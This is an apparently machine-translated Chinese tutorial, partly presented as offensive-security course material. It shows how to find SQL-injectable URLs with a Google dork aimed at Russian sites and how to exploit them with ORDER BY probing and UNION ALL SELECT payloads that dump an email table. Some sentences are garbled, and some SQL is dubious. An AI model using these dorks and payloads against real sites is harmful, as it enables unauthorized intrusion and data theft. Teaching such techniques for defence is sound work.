SQL 注入:如何找到对 SQL 注入攻击较弱的 url。
首先,您必须了解不同类型的 SQLi,这里。
我将在这里谈论经典的带内注入。分为2种:
- 基于错误的 SQLi
- 基于 UNION 的 SQLi
基于错误的 SQLI
目标:通过在目标网站上显示 SQL 错误来收集数据库结构信息。在某些情况下,您可以使用这些枚举整个数据库。
查找弱 URL:使用 Google Dorks。是的,谷歌正在帮助您查找弱网址。
- 例子:
inurl:"product.php?id=" site:.ru
在这里,您要求 Googleproduct.php?id=
在 URL 中列出俄罗斯网站。
为什么?
因为我们想找到一个直接与数据库对话的页面。在大多数情况下,您想要搜索这些模式:*.php?parameter=n
好的,但是我怎么知道这个 URL 对 SQLi 来说是弱的?
您必须在参数编号之后放置一个'
或,然后按回车键:%27
http[:]//w34ksite.com/product.php?id=1'
如果出现 SQL 错误,则该网站可能是可注入的。
基于 UNION 的 SQLI
目标:利用 UNION SQL 运算符将两个或多个 SELECT 语句的结果组合成一个结果。
以下块是我为我的信息安全学生写的材料。(进攻性安全课)
弱点:
http://w34ksite.com
第一步
查找可能发送 SQL 查询的 URL,如下所示:
http://w34ksite.com/products.php?category=1
此 URL 列出产品,在名为 1 的类别中重新分组
请记住* ? * = *
,在大多数情况下,以结尾的 URL 将与 SQL 数据库通信,我们想利用这一点。
第二步
将 URL的一部分翻译products.php?category=1
成 SQL 查询。是的,在这种情况下(以及许多生产中的网站),这段 URL 是一个伪装的 SQL 查询:
products.php?category=1 --> SELECT * FROM products WHERE category=1
第三步
我们可以注入类别参数吗?让我们尝试通过添加来对产品列表进行排序ORDER BY n
,例如:
http://w34ksite.com/products.php?category=1 ORDER BY 1
没变化。
http://w34ksite.com/products.php?category=1 ORDER BY 2
哇 !产品订单已更改!我们可能可以注入东西!
中的n数字ORDER BY n
表示您从哪个表的列号对输出进行排序(在本例中为产品的表列 2)。所以等一下,如果我输入的数字超过了表格的最大数量会发生什么?让我们试试看。
http://w34ksite.com/products.php?category=1 ORDER BY 3
订单又变了。
http://w34ksite.com/products.php?category=1 ORDER BY 4
哇!空白页!我们可以推断出产品的表格有3 列。此信息对于使用 SQL UNION ALL运算符至关重要。
第四步
策划进攻。因此,例如,我们想要转储写入此数据库中的电子邮件地址。当然,电子邮件条目不在产品表中。他们应该在别处...当SQL错误直接出现在网页上时,您可以猜测表的名称等等,但是这次没有运气,w34ksite.com上没有出现SQL错误。所以让我们假设电子邮件的表名为email,因为我们知道这是这个 CMS 默认电子邮件的表名。
SELECT * FROM email
--> http://w34ksite.com/email.php
? 当然不是。谁会疯狂到创建一个列出数据库电子邮件的 PHP 页面?为什么不用password.php?
不要忘记这products.php?category=1
是我们与数据库通信和注入东西的关键。这个键打开数据库的门,一般的想法是使用这个键来显示电子邮件表的内容。那么为什么不显示产品表格内容(products.php?category=1)和电子邮件表格内容呢?是的,这就是我们要做的。通过使用UNION ALL运算符。
UNION ALL 非常有用,您可以使用它加入另一个 SQL 请求。例如,让我们再次将此 URL 部分翻译成 SQL:
products.php?category=1 -->SELECT * FROM products WHERE category=1
对吗?
我们现在将使用 UNION ALL 运算符添加新查询并尝试获取电子邮件表:
SELECT * FROM products WHERE category=1
和 UNION ALL SELECT *, NULL, NULL FROM email
我们应该有这样的东西:
http://w34ksite.com/products.php?category=1 UNION ALL SELECT *, NULL, NULL FROM email
等等,什么是 *, NULL, NULL ?
还记得http://w34ksite.com/products.php?category=1 ORDER BY 4
我们是否可以注入东西的测试吗?我们得到一个非常有价值的信息:产品表的列数。使用UNION ALL运算符时,表的列号必须相同。
NULL
: 伪造一个空列。
,
: 将一列与另一列分开
*
:显示该列的条目
如果没有任何反应,请尝试*
像这样移动:
http://w34ksite.com/products.php?category=1 UNION ALL SELECT *, NULL, NULL FROM email
http://w34ksite.com/products.php?category=1 UNION ALL SELECT NULL, *, NULL FROM email
http://w34ksite.com/products.php?category=1 UNION ALL SELECT NULL, NULL, * FROM email